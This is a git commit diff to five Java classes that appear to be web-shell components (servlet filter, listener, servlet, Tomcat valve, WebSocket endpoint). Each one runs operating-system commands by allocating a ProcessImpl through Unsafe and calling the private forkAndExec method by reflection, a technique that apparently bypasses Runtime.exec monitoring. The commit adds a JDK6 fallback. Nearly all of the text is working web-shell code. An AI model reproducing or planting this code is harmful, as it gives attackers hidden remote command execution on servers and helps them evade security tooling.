fix: JDK6 forkAndExec run failed

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent 086ea3bf2e
commit b341082f2b
5 changed files with 167 additions and 106 deletions
@@ -42,7 +42,8 @@ public class CommandFilter implements Filter {
} }
return; return;
} }
} catch (Exception ignored) { } catch (Exception e) {
e.printStackTrace();
} }
chain.doFilter(servletRequest, servletResponse); chain.doFilter(servletRequest, servletResponse);
} }
@@ -61,7 +62,6 @@ public class CommandFilter implements Filter {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -82,6 +82,8 @@ public class CommandFilter implements Filter {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); launchMechanismField.setAccessible(true);
@@ -93,16 +95,15 @@ public class CommandFilter implements Filter {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -113,6 +114,18 @@ public class CommandFilter implements Filter {
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void destroy() { public void destroy() {
@@ -62,7 +62,6 @@ public class CommandListener implements ServletRequestListener {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -83,6 +82,8 @@ public class CommandListener implements ServletRequestListener {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); launchMechanismField.setAccessible(true);
@@ -94,16 +95,15 @@ public class CommandListener implements ServletRequestListener {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -114,6 +114,18 @@ public class CommandListener implements ServletRequestListener {
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null; return null;
} }
@@ -60,7 +60,6 @@ public class CommandServlet extends HttpServlet {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -81,6 +80,8 @@ public class CommandServlet extends HttpServlet {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); launchMechanismField.setAccessible(true);
@@ -92,16 +93,15 @@ public class CommandServlet extends HttpServlet {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -111,4 +111,16 @@ public class CommandServlet extends HttpServlet {
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -80,7 +80,6 @@ public class CommandValve implements Valve {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -101,6 +100,8 @@ public class CommandValve implements Valve {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); launchMechanismField.setAccessible(true);
@@ -112,16 +113,15 @@ public class CommandValve implements Valve {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -131,4 +131,16 @@ public class CommandValve implements Valve {
getInputStreamMethod.setAccessible(true); getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
} }
@@ -55,7 +55,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
@@ -76,6 +75,8 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath"); Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true); launchMechanismField.setAccessible(true);
@@ -87,16 +88,15 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class); byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true); forkMethod.setAccessible(true);
byte[] bytes = strs[0].getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false); null, envc[0], null, std_fds, false);
} catch (Exception e) {
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true); initStreamsMethod.setAccessible(true);
@@ -107,6 +107,18 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
return (InputStream) getInputStreamMethod.invoke(processObject); return (InputStream) getInputStreamMethod.invoke(processObject);
} }
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override @Override
public void onOpen(final Session session, EndpointConfig config) { public void onOpen(final Session session, EndpointConfig config) {
this.session = session; this.session = session;